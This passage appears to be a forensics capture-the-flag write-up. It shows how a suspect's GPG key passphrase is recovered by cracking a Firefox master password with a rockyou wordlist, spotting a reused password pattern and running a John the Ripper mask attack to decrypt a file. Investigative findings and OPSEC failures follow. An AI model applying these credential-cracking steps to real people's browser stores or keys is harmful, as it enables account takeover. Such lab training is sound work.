>>>> print(f'Key is {key} \nMessage: {message}')
Key is Qpw151ASDter15Ytr%1z 
Message: DATA=root:x:0:0::/root:/bin/bash
user:x:10000:10000:usd{badEncryption1234567}:/home/user:/bin/bash
bin:x:1:1::/:/usr/bin/nologin

Flag 10: important.gpg

NOTE: This challenge contained a bug and not solvable during the contest. If you attempted to solve it and included the correct approach within your write-up, it counts as solved.

The file /mnt/home/jim/Documents/important.gpg is obviously interesting and may contains a flag. However, it is encrypted using gpg and we need the correct private key to decrypt it. First, we should check who is capable of decrypting the file:

[student@host ~]$ gpg2 --version
gpg (GnuPG) 2.0.19
#  check recipients of encrypted file
[student@host ~]$  gpg2 --list-only -v -d  /mnt/home/jim/Documents/important.gpg
gpg: public key is 83A4842F

We find that the key 83A4842F can perform decryption. This key probably belongs to jim, and we should check his keyring:

[student@host ~]$ gpg2 --import /mnt/home/jim/.gnupg/secring.gpg
gpg: key B6524D89: secret key imported
gpg: key B6524D89: "pwnicorn <pwnicorn@evil.com>" not changed
gpg: Total number processed: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
[student@host ~]$  gpg2 --list-secret-keys
...
sec   2048R/B6524D89 2022-02-07
uid                  pwnicorn <pwnicorn@evil.com>
ssb   2048R/*83A4842F* 2022-02-07

Indeed, it belongs to jim, but we do not know the passphrase for this key. We can use tools like gpg2john to create a crackable hash for the key:

[student@host ~]$ gpg2 -a --export-secret-key pwnicorn > key.asc
[student@host ~]$ gpg2john key.asc > gpghash

Unfortunately, it is not crackable using common wordlists. When thinking about other approaches, password reuse could be a possibility. Since firefox was used earlier, we can check for passwords stored by firefox. Indeed, we find that there is a password store, but it is encrypted with a master password. We can try to crack the master password using tools like firefox_decrypt or mozilla2john. This is successful:

[student@host ~]$ parallel 'pw=$(echo {}); echo $pw | python3 firefox_decrypt.py --no-interactive --choice 2 2>&1 >/dev/null | grep "Password:" && echo "pw is "$pw'< /usr/share/wordlists/rockyou.txt
Password: '&#99!!!@!#!#@&#%^'
Password: '&#08!!!@!#!#@&#^&'
Password: '&#03!!!@!#!#@&#&~'
Password: '&#48!!!@!#!#@&#~&'
Password: '&#00!!!@!#!#@&#!^'
Password: '&#02!!!@!#!#@&#@@'
Password: '&#22!!!@!#!#@&#@^'
Password: '&#85!!!@!#!#@&#&^'
Password: '&#37!!!@!#!#@&#~*'
Password: '&#35!!!@!#!#@&#^!'
Password: '&#95!!!@!#!#@&#@~'
Password: '&#44!!!@!#!#@&#~*'
Password: '&#08!!!@!#!#@&#&!'
Password: '&#80!!!@!#!#@&#~!'
Password: '&#67!!!@!#!#@&#!&'
Password: '&#67!!!@!#!#@&#&!'
Password: '&#19!!!@!#!#@&#%!'
Password: '&#66!!!@!#!#@&#*!'
Password: '&#94!!!@!#!#@&#@&'
pw is loveyou2

We find several passwords that follow the same pattern: &#[0-9]{2}!!!@!#!#@&^#[!@~*%^&]{2}. None of them works for the gpg key. However, we can assume that also the gpg key password follows the same pattern:

[student@host ~]$ john gpghash --mask='&#?1?1!!!@!#!#@&^#?2?2' -1=[0-9] -2='[!@~*%^&]' 
...<SNIP>...
&#59!!!@!#!#@&^#@* (pwnicorn)
...<SNIP>...
Session completed

Now we now the gpg keys password and can decrypt the message:

[student@host ~]$ gpg -d home/jim/Documents/important.gpg
#  Enter PW
customer-id, decryption key, paid
2955369508, usd{74725d3f3d45e5ac68ed}, n
...<SNIP>...

Derivable Information


  • From the bought car we know that either the car was bought or sold by the suspect, which can lead to further possibilities to investigate.
  • From a shopping cart cookie, it can be deduced that the suspect is of above average height.
  • From the deleted Thunderbird sent file we know that the suspect is involved with the hacker group evil and the name of an additional member Leon.
  • From a message hidden in a picture, the location of the suspect can be approximated.
  • From the boarding pass, we know that the suspect took a flight to Berlin and the full name Jack Hack
  • From the deleted wireshark capture evidence can be found that the suspect conducted an attack on a web service.
  • From the decrypted file important.gpg it is possible to deduct that the group evil is involved in a ransomware scheme.

OPSEC - Fails


This section contains some OPSEC failures that can be found on the foreign system.

VPN configuration

The VPN configuration file located under ~/.vpn.conf is not configured to send DNS request via the VPN connection, which makes the user vulnerable to various attacks leading to a loss of anonymity.

.zshrc

Because the command of the alias enc is enclosed with ", it will evaluate $(pass symkey) as soon zsh is started. This means the password symkey will be stored as clear text for the duration of the session. A local attacker could read this password without much effort.

Same username for different services

The hacker used the alias pwnic0rn for illegal activities, as well as username for different web services. There are many reasons why this is a bad practice, as could be observed in the case against silkroad.

Also interesting:

Security Advisories on hugocms and Gitea

The pentest professionals at usd HeroLab examined hugocms and Gitea during their pentests. Thereby, several vulnerabilities were identified. The vulnerabilities were reported to...

read more

Security Advisory on AXIS Webcam

The pentest professionals at usd HeroLab examined the AXIS Webcam (P1364) during their pentests. Our professionals discovered a vulnerability (cross-site request forgery) in the...

read more